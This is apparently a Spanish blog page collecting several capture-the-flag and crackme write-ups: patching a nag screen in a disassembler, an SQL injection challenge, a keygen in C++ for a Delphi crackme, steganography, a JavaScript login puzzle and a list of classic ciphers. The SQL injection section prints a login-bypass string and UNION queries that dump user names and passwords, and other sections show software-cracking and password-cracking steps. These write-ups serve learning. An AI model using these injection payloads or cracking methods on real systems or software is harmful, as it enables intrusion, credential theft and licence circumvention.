0040111E     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401121     |.  E8 EA000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA
00401126     |.  EB 25                    JMP SHORT Nag1.0040114D
00401128     |>  68 4A304000              PUSH Nag1.0040304A                              ; /Text = "Clean crack! Good Job!"
0040112D     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
0040112F     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401132     |.  E8 D9000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA

Encima de SetDlgItemTextA vemos el código que analiza si la Nag tiene que aparecer.

004010E6     |.  E8 C4000000              CALL Nag1.004011AF                              ;  ; Llamada interesante a analizar
004010EB     |.  803D B0324000 03         CMP BYTE PTR DS:[4032B0],3
004010F2     |.  74 12                    JE SHORT Nag1.00401106                          ;  ; Si de la llamada volvemos con un 3 -> Parcheo chapuza
004010F4     |.  803D B0324000 02         CMP BYTE PTR DS:[4032B0],2
004010FB     |.  74 1A                    JE SHORT Nag1.00401117                          ;  ; Si de la llamada volvemos con un 2 -> Sin parchear
004010FD     |.  803D B0324000 01         CMP BYTE PTR DS:[4032B0],1
00401104     |.  74 22                    JE SHORT Nag1.00401128                          ;  ; Si de la llamada volvemos con un 1 -> Buen trabajo Joe!
........
004011AF     /$  68 A2324000              PUSH Nag1.004032A2                              ; /String2 = "Value1"
004011B4     |.  68 A9324000              PUSH Nag1.004032A9                              ; |String1 = "Value2"
004011B9     |.  E8 64000000              CALL <JMP.&kernel32.lstrcmpA>                   ; \lstrcmpA
004011BE     |.  50                       PUSH EAX                                        ;  kernel32.BaseThreadInitThunk
004011BF     |.  85C0                     TEST EAX,EAX                                    ;  kernel32.BaseThreadInitThunk
004011C1     |.  75 10                    JNZ SHORT Nag1.004011D3
004011C3     |.  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011C5     |.  58                       POP EAX                                         ;  kernel32.75CDEE1C
004011C6     |.  85C0                     TEST EAX,EAX                                    ;  kernel32.BaseThreadInitThunk
004011C8     |.  74 15                    JE SHORT Nag1.004011DF
004011CA     |.  C605 B0324000 03         MOV BYTE PTR DS:[4032B0],3
004011D1     |.  EB 17                    JMP SHORT Nag1.004011EA
004011D3     |>  58                       POP EAX                                         ;  kernel32.75CDEE1C
004011D4     |.  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011D6     |.  C605 B0324000 02         MOV BYTE PTR DS:[4032B0],2
004011DD     |.  EB 0B                    JMP SHORT Nag1.004011EA
004011DF     |>  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011E1     |.  C605 B0324000 01         MOV BYTE PTR DS:[4032B0],1
004011E8     |.  EB 00                    JMP SHORT Nag1.004011EA
004011EA     \>  C3                       RETN

 Vemos dentro del Call 4011AF que Compara si Value1 = Value2 y dependiendo de esa comparación guarda en memoria (4032B0), los valores 1, 2 ó 3.

Basta con modificar en un editor hexadecimal la parabra «Value2» por «Value1» y ya tenemos el problema resuelto.

09-09-2014 11-04-03

09-09-2014 11-04-34

09-09-2014 11-05-26

Al pulsar Re-Check

09-09-2014 11-06-01

Notas finales

Se podía haber parcheado un montón de código para obtener el mismo resultado pero fijándonos en el código lo hemos conseguido parcheando un solo byte. Recuerda, cuando halla que parchear, cuantos menos bytes mejor.

 Links


En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers - Piratas Informáticos. La
En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En
En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity
Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Intro

Hoy nos enfrentamos a un crackme realizado en Delphi con un algoritmo bastante sencillo. Está empacado con UPX pero aquí no vamos a explicar como desempacarlo ya que UPX es un reductor de tamaño más que un empacador, incluso con el propio empacador podemos desempacarlo.

Nota: Si queréis ver el proceso completo de desempacado ver el siguiente video (http://youtu.be/c4CNY902SAE).

El algoritmo

Abrimos Olly y vamos a las string references, localizamos los mensajes de error y éxito y pulsamos sobre cualquiera.

stringref

Encima de los mensajes tenemos la rutina de comprobación del serial. En la primera imagen vemos que comprueba que no dejemos ningún campo vacío y a continuación se mete de lleno con el serial.

checkcamposenblanco

checkserial

Analicemos la rutina del serial.

00454882       |> /8B15 4C6C4500          /MOV EDX,DWORD PTR DS:[456C4C]      ; Concatena name + ECloZion + pronom   <---
00454888       |. |8B0D 506C4500          |MOV ECX,DWORD PTR DS:[456C50]
0045488E       |. |0FB6540A FF            |MOVZX EDX,BYTE PTR DS:[EDX+ECX-1]  ; Coje el dígito que toque
00454893       |. |8916                   |MOV DWORD PTR DS:[ESI],EDX         ; Mueve EDX a TEMP (inicialmente vale FFFFFFFF)
00454895       |. |833E 5F                |CMP DWORD PTR DS:[ESI],5F
00454898       |. |75 06                  |JNZ SHORT ECloZion.004548A0
0045489A       |. |C706 20000000          |MOV DWORD PTR DS:[ESI],20
004548A0       |> |8B17                   |MOV EDX,DWORD PTR DS:[EDI]
004548A2       |. |3116                   |XOR DWORD PTR DS:[ESI],EDX         ;  TEMP = TEMP xor digito
004548A4       |. |8136 CE9A5614          |XOR DWORD PTR DS:[ESI],14569ACE    ;  TEMP = TEMP xor 14569ACE
004548AA       |. |8B16                   |MOV EDX,DWORD PTR DS:[ESI]
004548AC       |. |8917                   |MOV DWORD PTR DS:[EDI],EDX
004548AE       |. |FF05 506C4500          |INC DWORD PTR DS:[456C50]
004548B4       |. |48                     |DEC EAX                            ; EAX = longitud del concatenado = contador del bucle.
004548B5       |.^\75 CB                  \JNZ SHORT ECloZion.00454882        ; Bucle --->
004548B7       |>  8137 F0BD6434          XOR DWORD PTR DS:[EDI],3464BDF0     ; TEMP 0 TEMP xor 3464BDF0

 

Ejemplo:

Nom: deurus
Prenom: any

d  e  u  r  u  s  E  C  l  o  Z  i  o  n  a  n  y
64 65 75 72 75 73 45 43 6C 6F 5A 69 6F 6E 61 6E 79

FFFFFFFF xor 64 = FFFFFF9B xor 14569ACE = EBA96555
EBA96555 xor 65 = EBA96530 xor 14569ACE = FFFFFFFE
FFFFFFFE xor 75 = FFFFFF8B xor 14569ACE = EBA96545
EBA96545 xor 72 = EBA96537 xor 14569ACE = FFFFFFF9
FFFFFFF9 xor 75 = FFFFFF8C xor 14569ACE = EBA96542
EBA96542 xor 73 = EBA96531 xor 14569ACE = FFFFFFFF
FFFFFFFF xor 45 = FFFFFFBA xor 14569ACE = EBA96574
EBA96574 xor 43 = EBA96537 xor 14569ACE = FFFFFFF9
FFFFFFF9 xor 6C = FFFFFF95 xor 14569ACE = EBA9655B
EBA9655B xor 6F = EBA96534 xor 14569ACE = FFFFFFFA
FFFFFFFA xor 5A = FFFFFFA0 xor 14569ACE = EBA9656E
EBA9656E xor 69 = EBA96507 xor 14569ACE = FFFFFFC9
FFFFFFC9 xor 6F = FFFFFFA6 xor 14569ACE = EBA96568
EBA96568 xor 6E = EBA96506 xor 14569ACE = FFFFFFC8
FFFFFFC8 xor 61 = FFFFFFA9 xor 14569ACE = EBA96567
EBA96567 xor 6E = EBA96509 xor 14569ACE = FFFFFFC7
FFFFFFC7 xor 79 = FFFFFFBE xor 14569ACE = EBA96570
--------------------------------------------------
Resultado = EBA96570
EBA96570 xor 3464BDF0 = DFCDD880 = 3754809472 --> nuestra serial

 KeyGen en C++

            char Nombre[20];
            GetWindowText(hwndEdit1, Nombre, 20);
            char prenom[20];
            GetWindowText(hwndEdit2, prenom, 20);
            char Serial[20];
            char concatenado[48];
            wsprintf(concatenado,"%sECloZion%s",Nombre,prenom);
            int len = strlen(concatenado);
            unsigned int suma = 0xFFFFFFFF;
                for(int i = 0; i < len; i = i + 1)
                {
                        suma = suma ^ concatenado[i];
                        suma = suma ^ 0x14569ACE;
                }
            suma = suma ^ 0x3464BDF0;
            wsprintf(Serial,"%u",suma);
            SetWindowText(hwndEdit3, TEXT(Serial));

 Links


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AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. En este reto stego nos proporcionan
Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que

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Introducción

Resumidamente, esta técnica consiste en ocultar información en el bit menos significativo de cada uno de los píxeles de una imagen, consiguiendo así que el cambio realizado sea invisible al ojo humano. El problema de esta técnica, es que la información oculta puede obtenerse fácilmente si esta no se ha codificado previamente o si no se sigue un patrón concreto a la hora de ocultarla.

Desde la web del reto nos avisan de que esto es un simple truco pero espectacular. Nos animan a descargar una imágen y a encontrar la solución oculta.

Aprovecho este reto para presentaros una herramienta vital al enfrentaros a ciertos retos sobre esteganografía, steganabara.

Steganabara tiene dos apartados muy interesantes, uno es «color table» y otro «bit mask«, hoy veremos en acción a «bit mask».

No os preocupéis por la solución ya que cambia para cada usuario y sesión.

Buscando la solución oculta

Abrimos steganabara y empezamos a trastear con bit mask.

stegolsb02

Al poco tiempo ya vemos que vamos bien encaminados.

stegolsb03stegolsb04

Finalmente no nos cuesta dar con la solución.

stegolsb05stegolsb06

Links

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Introducción

 Este es el típico reto de Javascript, no tiene mucha complicación pero he decidido dedicarle una entrada por que me llamó la atención lo que utiliza de usuario y clave.

El Script

function getStyle(el,styleProp)
{
    var x = document.getElementById(el);
    if (x.currentStyle)
        var y = x.currentStyle[styleProp];
    else if (window.getComputedStyle)
        var y = document.defaultView.getComputedStyle(x,null).getPropertyValue(styleProp);

if (y.substr(0, 1) == "#"){ return y; } else {
    
var value = y.split(',');

var R = value[0].substr(4);
var G = value[1];
var B = value[2].substr(0, value[2].length-1);

var RGB =  "#" + toHex(R)+ toHex(G)+toHex(B);

return RGB;

 }
}

function toHex(N) {
 if (N==null) return "00";
 N=parseInt(N); if (N==0 || isNaN(N)) return "00";
 N=Math.max(0,N); N=Math.min(N,255); N=Math.round(N);
 return "0123456789ABCDEF".charAt((N-N%16)/16)
      + "0123456789ABCDEF".charAt(N%16);
}

function pw (form)
{

   var d1, d2, d3;

if (navigator.appName == "Netscape"){
   d1= getStyle('content', 'background-color');
} else {
   d1= getStyle('content', 'backgroundColor');
}

     d2=form.Name.value;
     d3=form.Password.value;

  if (d2==d1.length) {
    if (d3==d1) {
      window.open ("../" + d1.substr(1, 10), "_self")
    } else {
      alert("Muhaha! Wrong!")
    }
  } else {
    alert("Muhaha! Wrong!")
  }
}

El Formulario

<div class="chal_box" style="padding:10px;">
<form name="form" action="" method="post">
        Username<br />
        <input id="inputd2" type="text" name="Name" value="" size="30" maxlength="30"><br />
        Password<br />
        <input id="inputd1" type="text" name="Password" value="" size="30" maxlength="30"><br /><br />

         <input type="button" name="Only a button" value="Enter Site" id="Only a button" class="btn" onclick="pw(this.form)">
</form>
</div>

Interpretando el Script

En el formulario vemos que llama a la función «pw» y ésta a su vez llama a la función «getStyle«, bueno, pués es tan simple como poner un «alert();» dentro de la función «pw» para cazar la clave. Con éste método podemos cazar la clave del 90% de este tipo de pruebas.

29-08-2014 01-21-17alert

Con esto ya tenemos la clave. El usuario responde a la siguiente sentencia «d2==d1.length«, es decir, es el número de dígitos de la clave.

¿Fácil no?

Links

AVISO: Debido a que este reto está en activo no publicaré a donde pertenece.

En este reto stego nos proporcionan un archivo MP3 y nos dan una pequeña pista con el título.

Inicialmente lo pasé con GoldWave y me fijé en el la parte de control en el SPECtrogram y en el SPECtrum, pero no conseguí ver nada. A punto de rendirme di con un programa online llamado SPEK, que me dio la respuesta al instante.

SPECtrum mostrado por Spek

Se puede apreciar una palabra que escrita en Inglés nos da la solución al reto.

Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que te enfrentas y posteriormente construir una herramienta para descifrarlo o usar una ya existente (la mayoría de los casos).

Una web con la que suelo resolver la mayoría de retos es dcode.fr. Si os fijáis en el enlace, la lista de categorías asciende a 48 y disponéis de unos 800 algoritmos para rebanaros los sesos.

A continuación veamos unos cuantos retos que podéis encontrar por la red. Cabe destacar que normalmente el título del reto dice mucho del algoritmo.


  • Enunciado: The grass is always greener on the other side
  • Texto encriptado: TSDLN ILHSY OGSRE WOOFR OPOUK OAAAR RIRID
  • Solución: César

  • Enunciado: Prove you’re not drunk?
  • Texto encriptado: gsv kzhh blfi ollprmt uli rh zoxlslo
  • Solución: Atbash

  • Enunciado: ¿?
  • Texto encriptado: 4C240DDAB17D1796AAD3B435B51404EE
  • Solución: Aquí nuestro primer impulso es utilizar fuerza bruta a MD5, pero cuando nos damos contra la pared el siguiente candidato es LAN Manager. Aquí la opción que más os guste, Cain, John The Ripper, etc.

Con John The Ripper tenemos que preparar un archivo de texto del estilo: deurus.info:1011:4C240DDAB17D1796AAD3B435B51404EE:4C240DDAB17D1796AAD3B435B51404EE:::

y ejecutar el comando: john –format=lm LM.txt


  • Enunciado: a lot harder than SMS
  • Texto encriptado: .- -. . .- … -.– — -. . – …. . .–. .- … … .– — .-. -.. .. … -.. — – -.. .- … …. -.. .- … …. -.. — –
  • Solución: Morse

  • Enunciado: Now I see!

 


  • Enunciado: Polly the parrot loves to square dance?
  • Texto encriptado: 442315 3511434352344214 2443 442432154411123115
  • Solución: Polybios

  • Enunciado: Aquí hay problemas de base.
  • Texto encriptado: VGhlIHBhc3N3b3JkIGlzIG9qZXRlIG1vcmVubw==
  • Solución: Base64

  • Enunciado: Conversión
  • Texto encriptado: 6c6120736f6c756369c3b36e2065733a20366533303664333137333734333337323739
  • Solución: Hexadecimal

  • Enunciado: Método de encriptación de los más antiguos que se conocen.
  • Texto encriptado: ozhlofxrlmvhxzorulimrz
  • Solución: Cifrado Afín

  • Enunciado: /_vti_pvt/administrators.pwd
  • Texto encriptado: admin:dut4HlQyu4dSA
  • Solución: Creamos un archivo de texto con el texto encriptado y ponemos a John The Ripper a trabajar con el comando john –show administrators.pwd

  • Enunciado: En ocasiones veo en binario
  • Texto encriptado:0111001101110101011100000110010101110010
    0001001110011000111110100100110010010001
  • Solución: Para la primera parte la conversión es directa. Para la segunda, la dificultad reside en darse cuenta que hay que separar en grupos de cinco y decodificar por separado.

  • Enunciado: Un clásico
  • Texto encriptado: WLYGUKVAIIXAVGLRWCHVDRWC
  • Solución: Vigenere

  • Enunciado: Una antigua estirpe

  • Enunciado: eXORcism
  • Texto encriptado: 7d5313525e52475713544113414046025052
  • Solución: XOR. La clave la podéis obtener por fuerza bruta. Mira este artículo par saber como.

  • Enunciado: Edgar Allan Poe
  • Texto encriptado: 05-05¶88)8)-5(525,‡
  • Solución: Escarabajo de oro

  • Enunciado: MD encryption
  • Texto encriptado: 6FBCF7B5CE6637C28EEDC43988A9509B
  • Solución: MD5

  • Enunciado: American coding system used in the context of World War II
  • Texto encriptado: A-WOH LIN AH-JAH CLA-GI-AIH BE-LA-SANA KLESH DIBEH GLOE-IH NE-AHS-JAH GAH BE YEH-HES DIBEH A-CHIN WOL-LA-CHEE A-KEH-DI-GLINI TSE-NILL YIL-DOI A-KHA
  • Solución: Código Navajo

  • Enunciado: Run, run, run
  • Texto encriptado: T1H1E1P1A1S2W1O1R1D1I1S1R1U1N2I1N1G1
  • Solución: Run-length encoding

Conversiones, cifra clásica, hash, simétricos, asimétricos, combinaciones de varios algoritmos y un largo etcetera. Como veis los hay para todos los gustos, ten en cuenta que aquí os muestro una pequeñísima parte de lo que os encontrareis en las webs de retos, pero para despertar la curiosidad es suficiente.

¡Hala, a decodificar!

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